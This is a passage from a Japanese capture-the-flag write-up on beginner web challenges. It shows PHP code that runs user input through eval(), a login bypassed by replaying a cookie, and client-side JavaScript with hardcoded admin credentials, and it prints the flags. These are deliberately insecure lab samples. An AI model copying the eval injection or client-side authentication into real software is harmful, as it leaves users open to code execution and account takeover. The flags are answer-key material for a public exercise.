    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <title>Calculator</title>
</head>
<body class="black">
<h1 class="center red-text" style="padding-bottom: 75px">The Best and Most Secure Calculator Ever</h1>
<div class="container">
    <?php
    $flag = "nactf{ev1l_eval}";
    if (isset($_POST["input"])) {
        $input = $_POST["input"];
        echo '<div class="center white-text" style="padding-bottom: 50px"><h3>' . $input . " = " . eval("return ($input);") . '</h3></div>';
    }
    ?>
    <form action="index.php" method="post">
        <div class="input-field">
            <input placeholder="Type any expression!" name="input" type="text" class="white-text">
        </div>
        <input type="submit" value="Submit" class="btn">
    </form>
</div>
</body>
</html>

index.phpにアクセスするとCookieが返ってきてることにきづく

HTTP/1.1 200 OK
Date: Sun, 01 Nov 2020 05:02:13 GMT
Server: Apache
X-Powered-By: PHP/7.3.23
Set-Cookie: user=cookie_lover; expires=Sun, 01-Nov-2020 05:02:14 GMT; Max-Age=1; path=/index.php
Vary: Accept-Encoding
Content-Length: 954
Content-Type: text/html; charset=UTF-8
Connection: close


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cookie Recipe</title>

    <!-- Compiled and minified CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">

    <!--Import Google Icon Font-->
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
</head>
<body>
<div class="section container">
    <h3>Login to see the family recipe!</h3>
    <form action="auth.php" method="post">
        <div class="input-field">
            <input placeholder="Username" name="username" type="text">
        </div>
        <div class="input-field">
            <input placeholder="Password" name="password" type="text">
        </div>
        <input type="submit" name="submit" value="submit" class="btn">
    </form>
</div>
<img src="cookies.jpg" alt="" class="center" style="max-width: 100%;
    height: auto;">
</body>
</html>

そのCookieをつけてauth.phpにアクセスするだけ。

f:id:tekashi:20201101140519p:plain

Forms

f:id:tekashi:20201101142330p:plain

フロント側でJavaScriptつかって解く問題かと思ったらソースコードの最後に

    <script type="text/javascript">
    function verify() {
        user = document.getElementById("username").value;
        pass = document.getElementById("password").value;
        if (user === "admin" && pass === "password123") {
            document.getElementById("submit").value = "correct_login";
        } else {
            document.getElementById("submit").value = "false";
        }
        document.form.submit();
    }
</script>

と書いてあってusername=admin&password=password123&submit=correct_loginでPOSTするだけということがわかる。

<div class="container" style="padding-top: 100px">
                <div class="card-panel blue lighten-2 center">
                <h3>
                Successful Login!
                </h3>
                <h5>
                Flag: nactf{cl13n75_ar3_3v11}
                </h5>
                </div>
            </div>